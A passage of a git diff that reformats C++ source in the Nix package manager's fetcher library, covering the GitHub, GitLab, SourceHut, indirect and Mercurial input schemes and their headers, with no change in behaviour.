fetchers::Settings & settings, const std::string & host, const std::string & url) const override + std::optional getAccessToken( + const fetchers::Settings & settings, const std::string & host, const std::string & url) const override { auto tokens = settings.accessTokens.get(); std::string answer; size_t answer_match_len = 0; - if(! url.empty()) { + if (!url.empty()) { for (auto & token : tokens) { auto first = url.find(token.first); - if ( - first != std::string::npos - && token.first.length() > answer_match_len - && first == 0 - && url.substr(0,token.first.length()) == token.first - && (url.length() == token.first.length() || url[token.first.length()] == '/') - ) - { + if (first != std::string::npos && token.first.length() > answer_match_len && first == 0 + && url.substr(0, token.first.length()) == token.first + && (url.length() == token.first.length() || url[token.first.length()] == '/')) { answer = token.second; answer_match_len = token.first.length(); } @@ -204,21 +202,17 @@ struct GitArchiveInputScheme : InputScheme return {}; } - Headers makeHeadersWithAuthTokens( - const fetchers::Settings & settings, - const std::string & host, - const Input & input) const + Headers + makeHeadersWithAuthTokens(const fetchers::Settings & settings, const std::string & host, const Input & input) const { auto owner = getStrAttr(input.attrs, "owner"); auto repo = getStrAttr(input.attrs, "repo"); - auto hostAndPath = fmt( "%s/%s/%s", host, owner, repo); + auto hostAndPath = fmt("%s/%s/%s", host, owner, repo); return makeHeadersWithAuthTokens(settings, host, hostAndPath); } Headers makeHeadersWithAuthTokens( - const fetchers::Settings & settings, - const std::string & host, - const std::string & hostAndPath) const + const fetchers::Settings & settings, const std::string & host, const std::string & hostAndPath) const { Headers headers; auto accessToken = getAccessToken(settings, host, hostAndPath); @@ -250,7 +244,8 @@ struct GitArchiveInputScheme : InputScheme std::pair downloadArchive(ref store, Input input) const { - if (!maybeGetStrAttr(input.attrs, "ref")) input.attrs.insert_or_assign("ref", "HEAD"); + if (!maybeGetStrAttr(input.attrs, "ref")) + input.attrs.insert_or_assign("ref", "HEAD"); std::optional upstreamTreeHash; @@ -275,7 +270,7 @@ struct GitArchiveInputScheme : InputScheme auto treeHash = getRevAttr(*treeHashAttrs, "treeHash"); auto lastModified = getIntAttr(*lastModifiedAttrs, "lastModified"); if (getTarballCache()->hasObject(treeHash)) - return {std::move(input), TarballInfo { .treeHash = treeHash, .lastModified = (time_t) lastModified }}; + return {std::move(input), TarballInfo{.treeHash = treeHash, .lastModified = (time_t) lastModified}}; else debug("Git tree with hash '%s' has disappeared from the cache, refetching...", treeHash.gitRev()); } @@ -290,10 +285,10 @@ struct GitArchiveInputScheme : InputScheme getFileTransfer()->download(std::move(req), sink); }); - auto act = std::make_unique(*logger, lvlInfo, actUnknown, - fmt("unpacking '%s' into the Git cache", input.to_string())); + auto act = std::make_unique( + *logger, lvlInfo, actUnknown, fmt("unpacking '%s' into the Git cache", input.to_string())); - TarArchive archive { *source }; + TarArchive archive{*source}; auto tarballCache = getTarballCache(); auto parseSink = tarballCache->getFileSystemObjectSink(); auto lastModified = unpackTarfileToSink(archive, *parseSink); @@ -301,22 +296,20 @@ struct GitArchiveInputScheme : InputScheme act.reset(); - TarballInfo tarballInfo { - .treeHash = tarballCache->dereferenceSingletonDirectory(tree), - .lastModified = lastModified - }; + TarballInfo tarballInfo{ + .treeHash = tarballCache->dereferenceSingletonDirectory(tree), .lastModified = lastModified}; cache->upsert(treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}}); cache->upsert(lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}}); - #if 0 +#if 0 if (upstreamTreeHash != tarballInfo.treeHash) warn( "Git tree hash mismatch for revision '%s' of '%s': " "expected '%s', got '%s'. " "This can happen if the Git repository uses submodules.", rev->gitRev(), input.to_string(), upstreamTreeHash->gitRev(), tarballInfo.treeHash.gitRev()); - #endif +#endif return {std::move(input), tarballInfo}; } @@ -325,15 +318,12 @@ struct GitArchiveInputScheme : InputScheme { auto [input, tarballInfo] = downloadArchive(store, _input); - #if 0 +#if 0 input.attrs.insert_or_assign("treeHash", tarballInfo.treeHash.gitRev()); - #endif +#endif input.attrs.insert_or_assign("lastModified", uint64_t(tarballInfo.lastModified)); - auto accessor = getTarballCache()->getAccessor( - tarballInfo.treeHash, - false, - "«" + input.to_string() + "»"); + auto accessor = getTarballCache()->getAccessor(tarballInfo.treeHash, false, "«" + input.to_string() + "»"); return {accessor, input}; } @@ -345,8 +335,7 @@ struct GitArchiveInputScheme : InputScheme locking. FIXME: in the future, we may want to require a Git tree hash instead of a NAR hash. */ return input.getRev().has_value() - && (input.settings->trustTarballsFromGitForges || - input.getNarHash().has_value()); + && (input.settings->trustTarballsFromGitForges || input.getNarHash().has_value()); } std::optional experimentalFeature() const override @@ -365,7 +354,10 @@ struct GitArchiveInputScheme : InputScheme struct GitHubInputScheme : GitArchiveInputScheme { - std::string_view schemeName() const override { return "github"; } + std::string_view schemeName() const override + { + return "github"; + } std::optional> accessHeaderFromToken(const std::string & token) const override { @@ -397,22 +389,20 @@ struct GitHubInputScheme : GitArchiveInputScheme { auto host = getHost(input); auto url = fmt( - host == "github.com" - ? "https://api.%s/repos/%s/%s/commits/%s" - : "https://%s/api/v3/repos/%s/%s/commits/%s", - host, getOwner(input), getRepo(input), *input.getRef()); + host == "github.com" ? "https://api.%s/repos/%s/%s/commits/%s" : "https://%s/api/v3/repos/%s/%s/commits/%s", + host, + getOwner(input), + getRepo(input), + *input.getRef()); Headers headers = makeHeadersWithAuthTokens(*input.settings, host, input); - auto json = nlohmann::json::parse( - readFile( - store->toRealPath( - downloadFile(store, url, "source", headers).storePath))); + auto json = + nlohmann::json::parse(readFile(store->toRealPath(downloadFile(store, url, "source", headers).storePath))); - return RefInfo { - .rev = Hash::parseAny(std::string { json["sha"] }, HashAlgorithm::SHA1), - .treeHash = Hash::parseAny(std::string { json["commit"]["tree"]["sha"] }, HashAlgorithm::SHA1) - }; + return RefInfo{ + .rev = Hash::parseAny(std::string{json["sha"]}, HashAlgorithm::SHA1), + .treeHash = Hash::parseAny(std::string{json["commit"]["tree"]["sha"]}, HashAlgorithm::SHA1)}; } DownloadUrl getDownloadUrl(const Input & input) const override @@ -423,24 +413,20 @@ struct GitHubInputScheme : GitArchiveInputScheme // If we have no auth headers then we default to the public archive // urls so we do not run into rate limits. - const auto urlFmt = - host != "github.com" - ? "https://%s/api/v3/repos/%s/%s/tarball/%s" - : headers.empty() - ? "https://%s/%s/%s/archive/%s.tar.gz" - : "https://api.%s/repos/%s/%s/tarball/%s"; + const auto urlFmt = host != "github.com" ? "https://%s/api/v3/repos/%s/%s/tarball/%s" + : headers.empty() ? "https://%s/%s/%s/archive/%s.tar.gz" + : "https://api.%s/repos/%s/%s/tarball/%s"; - const auto url = fmt(urlFmt, host, getOwner(input), getRepo(input), - input.getRev()->to_string(HashFormat::Base16, false)); + const auto url = + fmt(urlFmt, host, getOwner(input), getRepo(input), input.getRev()->to_string(HashFormat::Base16, false)); - return DownloadUrl { url, headers }; + return DownloadUrl{url, headers}; } void clone(const Input & input, const Path & destDir) const override { auto host = getHost(input); - Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", - host, getOwner(input), getRepo(input))) + Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", host, getOwner(input), getRepo(input))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); } @@ -448,7 +434,10 @@ struct GitHubInputScheme : GitArchiveInputScheme struct GitLabInputScheme : GitArchiveInputScheme { - std::string_view schemeName() const override { return "gitlab"; } + std::string_view schemeName() const override + { + return "gitlab"; + } std::optional> accessHeaderFromToken(const std::string & token) const override { @@ -462,32 +451,33 @@ struct GitLabInputScheme : GitArchiveInputScheme auto fldsplit = token.find_first_of(':'); // n.b. C++20 would allow: if (token.starts_with("OAuth2:")) ... if ("OAuth2" == token.substr(0, fldsplit)) - return std::make_pair("Authorization", fmt("Bearer %s", token.substr(fldsplit+1))); + return std::make_pair("Authorization", fmt("Bearer %s", token.substr(fldsplit + 1))); if ("PAT" == token.substr(0, fldsplit)) - return std::make_pair("Private-token", token.substr(fldsplit+1)); - warn("Unrecognized GitLab token type %s", token.substr(0, fldsplit)); - return std::make_pair(token.substr(0,fldsplit), token.substr(fldsplit+1)); + return std::make_pair("Private-token", token.substr(fldsplit + 1)); + warn("Unrecognized GitLab token type %s", token.substr(0, fldsplit)); + return std::make_pair(token.substr(0, fldsplit), token.substr(fldsplit + 1)); } RefInfo getRevFromRef(nix::ref store, const Input & input) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); // See rate limiting note below - auto url = fmt("https://%s/api/v4/projects/%s%%2F%s/repository/commits?ref_name=%s", - host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), *input.getRef()); + auto url = + fmt("https://%s/api/v4/projects/%s%%2F%s/repository/commits?ref_name=%s", + host, + getStrAttr(input.attrs, "owner"), + getStrAttr(input.attrs, "repo"), + *input.getRef()); Headers headers = makeHeadersWithAuthTokens(*input.settings, host, input); - auto json = nlohmann::json::parse( - readFile( - store->toRealPath( - downloadFile(store, url, "source", headers).storePath))); + auto json = + nlohmann::json::parse(readFile(store->toRealPath(downloadFile(store, url, "source", headers).storePath))); if (json.is_array() && json.size() >= 1 && json[0]["id"] != nullptr) { - return RefInfo { - .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1) - }; - } if (json.is_array() && json.size() == 0) { + return RefInfo{.rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1)}; + } + if (json.is_array() && json.size() == 0) { throw Error("No commits returned by GitLab API -- does the git ref really exist?"); } else { throw Error("Unexpected response received from GitLab: %s", json); @@ -502,20 +492,24 @@ struct GitLabInputScheme : GitArchiveInputScheme // is 10 reqs/sec/ip-addr. See // https://docs.gitlab.com/ee/user/gitlab_com/index.html#gitlabcom-specific-rate-limits auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); - auto url = fmt("https://%s/api/v4/projects/%s%%2F%s/repository/archive.tar.gz?sha=%s", - host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), - input.getRev()->to_string(HashFormat::Base16, false)); + auto url = + fmt("https://%s/api/v4/projects/%s%%2F%s/repository/archive.tar.gz?sha=%s", + host, + getStrAttr(input.attrs, "owner"), + getStrAttr(input.attrs, "repo"), + input.getRev()->to_string(HashFormat::Base16, false)); Headers headers = makeHeadersWithAuthTokens(*input.settings, host, input); - return DownloadUrl { url, headers }; + return DownloadUrl{url, headers}; } void clone(const Input & input, const Path & destDir) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("gitlab.com"); // FIXME: get username somewhere - Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s.git", - host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) + Input::fromURL( + *input.settings, + fmt("git+https://%s/%s/%s.git", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); } @@ -523,7 +517,10 @@ struct GitLabInputScheme : GitArchiveInputScheme struct SourceHutInputScheme : GitArchiveInputScheme { - std::string_view schemeName() const override { return "sourcehut"; } + std::string_view schemeName() const override + { + return "sourcehut"; + } std::optional> accessHeaderFromToken(const std::string & token) const override { @@ -543,15 +540,14 @@ struct SourceHutInputScheme : GitArchiveInputScheme auto ref = *input.getRef(); auto host = maybeGetStrAttr(input.attrs, "host").value_or("git.sr.ht"); - auto base_url = fmt("https://%s/%s/%s", - host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo")); + auto base_url = + fmt("https://%s/%s/%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo")); Headers headers = makeHeadersWithAuthTokens(*input.settings, host, input); std::string refUri; if (ref == "HEAD") { - auto file = store->toRealPath( - downloadFile(store, fmt("%s/HEAD", base_url), "source", headers).storePath); + auto file = store->toRealPath(downloadFile(store, fmt("%s/HEAD", base_url), "source", headers).storePath); std::ifstream is(file); std::string line; getline(is, line); @@ -566,13 +562,12 @@ struct SourceHutInputScheme : GitArchiveInputScheme } std::regex refRegex(refUri); - auto file = store->toRealPath( - downloadFile(store, fmt("%s/info/refs", base_url), "source", headers).storePath); + auto file = store->toRealPath(downloadFile(store, fmt("%s/info/refs", base_url), "source", headers).storePath); std::ifstream is(file); std::string line; std::optional id; - while(!id && getline(is, line)) { + while (!id && getline(is, line)) { auto parsedLine = git::parseLsRemoteLine(line); if (parsedLine && parsedLine->reference && std::regex_match(*parsedLine->reference, refRegex)) id = parsedLine->target; @@ -581,27 +576,29 @@ struct SourceHutInputScheme : GitArchiveInputScheme if (!id) throw BadURL("in '%d', couldn't find ref '%d'", input.to_string(), ref); - return RefInfo { - .rev = Hash::parseAny(*id, HashAlgorithm::SHA1) - }; + return RefInfo{.rev = Hash::parseAny(*id, HashAlgorithm::SHA1)}; } DownloadUrl getDownloadUrl(const Input & input) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("git.sr.ht"); - auto url = fmt("https://%s/%s/%s/archive/%s.tar.gz", - host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"), - input.getRev()->to_string(HashFormat::Base16, false)); + auto url = + fmt("https://%s/%s/%s/archive/%s.tar.gz", + host, + getStrAttr(input.attrs, "owner"), + getStrAttr(input.attrs, "repo"), + input.getRev()->to_string(HashFormat::Base16, false)); Headers headers = makeHeadersWithAuthTokens(*input.settings, host, input); - return DownloadUrl { url, headers }; + return DownloadUrl{url, headers}; } void clone(const Input & input, const Path & destDir) const override { auto host = maybeGetStrAttr(input.attrs, "host").value_or("git.sr.ht"); - Input::fromURL(*input.settings, fmt("git+https://%s/%s/%s", - host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) + Input::fromURL( + *input.settings, + fmt("git+https://%s/%s/%s", host, getStrAttr(input.attrs, "owner"), getStrAttr(input.attrs, "repo"))) .applyOverrides(input.getRef(), input.getRev()) .clone(destDir); } diff --git a/src/libfetchers/include/nix/fetchers/cache.hh b/src/libfetchers/include/nix/fetchers/cache.hh index 5b9319d77..4ec300727 100644 --- a/src/libfetchers/include/nix/fetchers/cache.hh +++ b/src/libfetchers/include/nix/fetchers/cache.hh @@ -12,7 +12,7 @@ namespace nix::fetchers { */ struct Cache { - virtual ~Cache() { } + virtual ~Cache() {} /** * A domain is a partition of the key/value cache for a particular @@ -28,22 +28,18 @@ struct Cache /** * Add a key/value pair to the cache. */ - virtual void upsert( - const Key & key, - const Attrs & value) = 0; + virtual void upsert(const Key & key, const Attrs & value) = 0; /** * Look up a key with infinite TTL. */ - virtual std::optional lookup( - const Key & key) = 0; + virtual std::optional lookup(const Key & key) = 0; /** * Look up a key. Return nothing if its TTL has exceeded * `settings.tarballTTL`. */ - virtual std::optional lookupWithTTL( - const Key & key) = 0; + virtual std::optional lookupWithTTL(const Key & key) = 0; struct Result { @@ -55,19 +51,14 @@ struct Cache * Look up a key. Return a bool denoting whether its TTL has * exceeded `settings.tarballTTL`. */ - virtual std::optional lookupExpired( - const Key & key) = 0; + virtual std::optional lookupExpired(const Key & key) = 0; /** * Insert a cache entry that has a store path associated with * it. Such cache entries are always considered stale if the * associated store path is invalid. */ - virtual void upsert( - Key key, - Store & store, - Attrs value, - const StorePath & storePath) = 0; + virtual void upsert(Key key, Store & store, Attrs value, const StorePath & storePath) = 0; struct ResultWithStorePath : Result { @@ -78,17 +69,13 @@ struct Cache * Look up a store path in the cache. The returned store path will * be valid, but it may be expired. */ - virtual std::optional lookupStorePath( - Key key, - Store & store) = 0; + virtual std::optional lookupStorePath(Key key, Store & store) = 0; /** * Look up a store path in the cache. Return nothing if its TTL * has exceeded `settings.tarballTTL`. */ - virtual std::optional lookupStorePathWithTTL( - Key key, - Store & store) = 0; + virtual std::optional lookupStorePathWithTTL(Key key, Store & store) = 0; }; ref getCache(); diff --git a/src/libfetchers/include/nix/fetchers/fetch-settings.hh b/src/libfetchers/include/nix/fetchers/fetch-settings.hh index 54c420843..118328081 100644 --- a/src/libfetchers/include/nix/fetchers/fetch-settings.hh +++ b/src/libfetchers/include/nix/fetchers/fetch-settings.hh @@ -15,7 +15,10 @@ struct Settings : public Config { Settings(); - Setting accessTokens{this, {}, "access-tokens", + Setting accessTokens{ + this, + {}, + "access-tokens", R"( Access tokens used to access protected GitHub, GitLab, or other locations requiring token-based authentication. @@ -66,11 +69,9 @@ struct Settings : public Config value. )"}; - Setting allowDirty{this, true, "allow-dirty", - "Whether to allow dirty Git/Mercurial trees."}; + Setting allowDirty{this, true, "allow-dirty", "Whether to allow dirty Git/Mercurial trees."}; - Setting warnDirty{this, true, "warn-dirty", - "Whether to warn about dirty Git/Mercurial trees."}; + Setting warnDirty{this, true, "warn-dirty", "Whether to warn about dirty Git/Mercurial trees."}; Setting allowDirtyLocks{ this, @@ -89,7 +90,9 @@ struct Settings : public Config Xp::Flakes}; Setting trustTarballsFromGitForges{ - this, true, "trust-tarballs-from-git-forges", + this, + true, + "trust-tarballs-from-git-forges", R"( If enabled (the default), Nix will consider tarballs from GitHub and similar Git forges to be locked if a Git revision @@ -103,13 +106,18 @@ struct Settings : public Config e.g. `github:NixOS/patchelf/7c2f768bf9601268a4e71c2ebe91e2011918a70f?narHash=sha256-PPXqKY2hJng4DBVE0I4xshv/vGLUskL7jl53roB8UdU%3D`. )"}; - Setting flakeRegistry{this, "https://channels.nixos.org/flake-registry.json", "flake-registry", + Setting flakeRegistry{ + this, + "https://channels.nixos.org/flake-registry.json", + "flake-registry", R"( Path or URI of the global flake registry. When empty, disables the global flake registry. )", - {}, true, Xp::Flakes}; + {}, + true, + Xp::Flakes}; }; } diff --git a/src/libfetchers/include/nix/fetchers/fetchers.hh b/src/libfetchers/include/nix/fetchers/fetchers.hh index 3288ecc5e..e0caf7bd8 100644 --- a/src/libfetchers/include/nix/fetchers/fetchers.hh +++ b/src/libfetchers/include/nix/fetchers/fetchers.hh @@ -13,7 +13,11 @@ #include "nix/util/ref.hh" -namespace nix { class Store; class StorePath; struct SourceAccessor; } +namespace nix { +class Store; +class StorePath; +struct SourceAccessor; +} namespace nix::fetchers { @@ -36,7 +40,8 @@ struct Input Input(const Settings & settings) : settings{&settings} - { } + { + } std::shared_ptr scheme; // note: can be null Attrs attrs; @@ -52,22 +57,16 @@ public: * * The URL indicate which sort of fetcher, and provides information to that fetcher. */ - static Input fromURL( - const Settings & settings, - const std::string & url, bool requireTree = true); + static Input fromURL(const Settings & settings, const std::string & url, bool requireTree = true); - static Input fromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree = true); + static Input fromURL(const Settings & settings, const ParsedURL & url, bool requireTree = true); /** * Create an `Input` from a an `Attrs`. * * The URL indicate which sort of fetcher, and provides information to that fetcher. */ - static Input fromAttrs( - const Settings & settings, - Attrs && attrs); + static Input fromAttrs(const Settings & settings, Attrs && attrs); ParsedURL toURL() const; @@ -108,9 +107,9 @@ public: */ bool isFinal() const; - bool operator ==(const Input & other) const noexcept; + bool operator==(const Input & other) const noexcept; - bool operator <(const Input & other) const + bool operator<(const Input & other) const { return attrs < other.attrs; } @@ -149,9 +148,7 @@ private: public: - Input applyOverrides( - std::optional ref, - std::optional rev) const; + Input applyOverrides(std::optional ref, std::optional rev) const; void clone(const Path & destDir) const; @@ -161,10 +158,7 @@ public: * Write a file to this input, for input types that support * writing. Optionally commit the change (for e.g. Git inputs). */ - void putFile( - const CanonPath & path, - std::string_view contents, - std::optional commitMsg) const; + void putFile(const CanonPath & path, std::string_view contents, std::optional commitMsg) const; std::string getName() const; @@ -200,16 +194,12 @@ public: */ struct InputScheme { - virtual ~InputScheme() - { } + virtual ~InputScheme() {} - virtual std::optional inputFromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree) const = 0; + virtual std::optional + inputFromURL(const Settings & settings, const ParsedURL & url, bool requireTree) const = 0; - virtual std::optional inputFromAttrs( - const Settings & settings, - const Attrs & attrs) const = 0; + virtual std::optional inputFromAttrs(const Settings & settings, const Attrs & attrs) const = 0; /** * What is the name of the scheme? @@ -231,10 +221,7 @@ struct InputScheme virtual ParsedURL toURL(const Input & input) const; - virtual Input applyOverrides( - const Input & input, - std::optional ref, - std::optional rev) const; + virtual Input applyOverrides(const Input & input, std::optional ref, std::optional rev) const; virtual void clone(const Input & input, const Path & destDir) const; @@ -254,19 +241,30 @@ struct InputScheme virtual std::optional experimentalFeature() const; virtual bool isDirect(const Input & input) const - { return true; } + { + return true; + } virtual std::optional getFingerprint(ref store, const Input & input) const - { return std::nullopt; } + { + return std::nullopt; + } virtual bool isLocked(const Input & input) const - { return false; } + { + return false; + } virtual std::optional isRelative(const Input & input) const - { return std::nullopt; } + { + return std::nullopt; + } - virtual std::optional getAccessToken(const fetchers::Settings & settings, const std::string & host, const std::string & url) const - { return {};} + virtual std::optional + getAccessToken(const fetchers::Settings & settings, const std::string & host, const std::string & url) const + { + return {}; + } }; void registerInputScheme(std::shared_ptr && fetcher); @@ -278,10 +276,10 @@ struct PublicKey std::string type = "ssh-ed25519"; std::string key; - auto operator <=>(const PublicKey &) const = default; + auto operator<=>(const PublicKey &) const = default; }; -std::string publicKeys_to_string(const std::vector&); +std::string publicKeys_to_string(const std::vector &); } diff --git a/src/libfetchers/include/nix/fetchers/git-utils.hh b/src/libfetchers/include/nix/fetchers/git-utils.hh index 1506f8509..edaafc559 100644 --- a/src/libfetchers/include/nix/fetchers/git-utils.hh +++ b/src/libfetchers/include/nix/fetchers/git-utils.hh @@ -5,7 +5,9 @@ namespace nix { -namespace fetchers { struct PublicKey; } +namespace fetchers { +struct PublicKey; +} /** * A sink that writes into a Git repository. Note that nothing may be written @@ -21,8 +23,7 @@ struct GitFileSystemObjectSink : ExtendedFileSystemObjectSink struct GitRepo { - virtual ~GitRepo() - { } + virtual ~GitRepo() {} static ref openRepo(const std::filesystem::path & path, bool create = false, bool bare = false); @@ -86,30 +87,23 @@ struct GitRepo virtual bool hasObject(const Hash & oid) = 0; - virtual ref getAccessor( - const Hash & rev, - bool exportIgnore, - std::string displayPrefix, - bool smudgeLfs = false) = 0; + virtual ref + getAccessor(const Hash & rev, bool exportIgnore, std::string displayPrefix, bool smudgeLfs = false) = 0; - virtual ref getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0; + virtual ref + getAccessor(const WorkdirInfo & wd, bool exportIgnore, MakeNotAllowedError makeNotAllowedError) = 0; virtual ref getFileSystemObjectSink() = 0; virtual void flush() = 0; - virtual void fetch( - const std::string & url, - const std::string & refspec, - bool shallow) = 0; + virtual void fetch(const std::string & url, const std::string & refspec, bool shallow) = 0; /** * Verify that commit `rev` is signed by one of the keys in * `publicKeys`. Throw an error if it isn't. */ - virtual void verifyCommit( - const Hash & rev, - const std::vector & publicKeys) = 0; + virtual void verifyCommit(const Hash & rev, const std::vector & publicKeys) = 0; /** * Given a Git tree hash, compute the hash of its NAR @@ -131,8 +125,11 @@ ref getTarballCache(); template struct Deleter { - template - void operator()(T * p) const { del(p); }; + template + void operator()(T * p) const + { + del(p); + }; }; // A helper to ensure that we don't leak objects returned by libgit2. @@ -142,11 +139,21 @@ struct Setter T & t; typename T::pointer p = nullptr; - Setter(T & t) : t(t) { } + Setter(T & t) + : t(t) + { + } - ~Setter() { if (p) t = T(p); } + ~Setter() + { + if (p) + t = T(p); + } - operator typename T::pointer * () { return &p; } + operator typename T::pointer *() + { + return &p; + } }; } diff --git a/src/libfetchers/include/nix/fetchers/registry.hh b/src/libfetchers/include/nix/fetchers/registry.hh index 47ff9e86f..761bd2758 100644 --- a/src/libfetchers/include/nix/fetchers/registry.hh +++ b/src/libfetchers/include/nix/fetchers/registry.hh @@ -4,7 +4,9 @@ #include "nix/util/types.hh" #include "nix/fetchers/fetchers.hh" -namespace nix { class Store; } +namespace nix { +class Store; +} namespace nix::fetchers { @@ -34,18 +36,14 @@ struct Registry Registry(const Settings & settings, RegistryType type) : settings{settings} , type{type} - { } + { + } - static std::shared_ptr read( - const Settings & settings, - const Path & path, RegistryType type); + static std::shared_ptr read(const Settings & settings, const Path & path, RegistryType type); void write(const Path & path); - void add( - const Input & from, - const Input & to, - const Attrs & extraAttrs); + void add(const Input & from, const Input & to, const Attrs & extraAttrs); void remove(const Input & input); }; @@ -60,10 +58,7 @@ Path getUserRegistryPath(); Registries getRegistries(const Settings & settings, ref store); -void overrideRegistry( - const Input & from, - const Input & to, - const Attrs & extraAttrs); +void overrideRegistry(const Input & from, const Input & to, const Attrs & extraAttrs); using RegistryFilter = std::function; @@ -71,9 +66,6 @@ using RegistryFilter = std::function; * Rewrite a flakeref using the registries. If `filter` is set, only * use the registries for which the filter function returns true. */ -std::pair lookupInRegistries( - ref store, - const Input & input, - const RegistryFilter & filter = {}); +std::pair lookupInRegistries(ref store, const Input & input, const RegistryFilter & filter = {}); } diff --git a/src/libfetchers/include/nix/fetchers/tarball.hh b/src/libfetchers/include/nix/fetchers/tarball.hh index 691142091..8ddae121f 100644 --- a/src/libfetchers/include/nix/fetchers/tarball.hh +++ b/src/libfetchers/include/nix/fetchers/tarball.hh @@ -24,11 +24,8 @@ struct DownloadFileResult std::optional immutableUrl; }; -DownloadFileResult downloadFile( - ref store, - const std::string & url, - const std::string & name, - const Headers & headers = {}); +DownloadFileResult +downloadFile(ref store, const std::string & url, const std::string & name, const Headers & headers = {}); struct DownloadTarballResult { @@ -42,9 +39,6 @@ struct DownloadTarballResult * Download and import a tarball into the Git cache. The result is the * Git tree hash of the root directory. */ -ref downloadTarball( - ref store, - const Settings & settings, - const std::string & url); +ref downloadTarball(ref store, const Settings & settings, const std::string & url); } diff --git a/src/libfetchers/indirect.cc b/src/libfetchers/indirect.cc index 47cb7587c..b370f5536 100644 --- a/src/libfetchers/indirect.cc +++ b/src/libfetchers/indirect.cc @@ -8,11 +8,10 @@ std::regex flakeRegex("[a-zA-Z][a-zA-Z0-9_-]*", std::regex::ECMAScript); struct IndirectInputScheme : InputScheme { - std::optional inputFromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL(const Settings & settings, const ParsedURL & url, bool requireTree) const override { - if (url.scheme != "flake") return {}; + if (url.scheme != "flake") + return {}; auto path = tokenizeString>(url.path, "/"); @@ -46,8 +45,10 @@ struct IndirectInputScheme : InputScheme Input input{settings}; input.attrs.insert_or_assign("type", "indirect"); input.attrs.insert_or_assign("id", id); - if (rev) input.attrs.insert_or_assign("rev", rev->gitRev()); - if (ref) input.attrs.insert_or_assign("ref", *ref); + if (rev) + input.attrs.insert_or_assign("rev", rev->gitRev()); + if (ref) + input.attrs.insert_or_assign("ref", *ref); return input; } @@ -67,9 +68,7 @@ struct IndirectInputScheme : InputScheme }; } - std::optional inputFromAttrs( - const Settings & settings, - const Attrs & attrs) const override + std::optional inputFromAttrs(const Settings & settings, const Attrs & attrs) const override { auto id = getStrAttr(attrs, "id"); if (!std::regex_match(id, flakeRegex)) @@ -85,19 +84,24 @@ struct IndirectInputScheme : InputScheme ParsedURL url; url.scheme = "flake"; url.path = getStrAttr(input.attrs, "id"); - if (auto ref = input.getRef()) { url.path += '/'; url.path += *ref; }; - if (auto rev = input.getRev()) { url.path += '/'; url.path += rev->gitRev(); }; + if (auto ref = input.getRef()) { + url.path += '/'; + url.path += *ref; + }; + if (auto rev = input.getRev()) { + url.path += '/'; + url.path += rev->gitRev(); + }; return url; } - Input applyOverrides( - const Input & _input, - std::optional ref, - std::optional rev) const override + Input applyOverrides(const Input & _input, std::optional ref, std::optional rev) const override { auto input(_input); - if (rev) input.attrs.insert_or_assign("rev", rev->gitRev()); - if (ref) input.attrs.insert_or_assign("ref", *ref); + if (rev) + input.attrs.insert_or_assign("rev", rev->gitRev()); + if (ref) + input.attrs.insert_or_assign("ref", *ref); return input; } @@ -112,7 +116,9 @@ struct IndirectInputScheme : InputScheme } bool isDirect(const Input & input) const override - { return false; } + { + return false; + } }; static auto rIndirectInputScheme = OnStartup([] { registerInputScheme(std::make_unique()); }); diff --git a/src/libfetchers/mercurial.cc b/src/libfetchers/mercurial.cc index eb6bdd1eb..d274cd144 100644 --- a/src/libfetchers/mercurial.cc +++ b/src/libfetchers/mercurial.cc @@ -21,12 +21,7 @@ static RunOptions hgOptions(const Strings & args) // Set HGPLAIN: this means we get consistent output from hg and avoids leakage from a user or system .hgrc. env["HGPLAIN"] = ""; - return { - .program = "hg", - .lookupPath = true, - .args = args, - .environment = env - }; + return {.program = "hg", .lookupPath = true, .args = args, .environment = env}; } // runProgram wrapper that uses hgOptions instead of stock RunOptions. @@ -45,14 +40,10 @@ static std::string runHg(const Strings & args, const std::optional struct MercurialInputScheme : InputScheme { - std::optional inputFromURL( - const Settings & settings, - const ParsedURL & url, bool requireTree) const override + std::optional inputFromURL(const Settings & settings, const ParsedURL & url, bool requireTree) const override { - if (url.scheme != "hg+http" && - url.scheme != "hg+https" && - url.scheme != "hg+ssh" && - url.scheme != "hg+file") return {}; + if (url.scheme != "hg+http" && url.scheme != "hg+https" && url.scheme != "hg+ssh" && url.scheme != "hg+file") + return {}; auto url2(url); url2.scheme = std::string(url2.scheme, 3); @@ -61,7 +52,7 @@ struct MercurialInputScheme : InputScheme Attrs attrs; attrs.emplace("type", "hg"); - for (auto &[name, value] : url.query) { + for (auto & [name, value] : url.query) { if (name == "rev" || name == "ref") attrs.emplace(name, value); else @@ -90,9 +81,7 @@ struct MercurialInputScheme : InputScheme }; } - std::optional inputFromAttrs( - const Settings & settings, - const Attrs & attrs) const override + std::optional inputFromAttrs(const Settings & settings, const Attrs & attrs) const override { parseURL(getStrAttr(attrs, "url")); @@ -110,19 +99,20 @@ struct MercurialInputScheme : InputScheme { auto url = parseURL(getStrAttr(input.attrs, "url")); url.scheme = "hg+" + url.scheme; - if (auto rev = input.getRev()) url.query.insert_or_assign("rev", rev->gitRev()); - if (auto ref = input.getRef()) 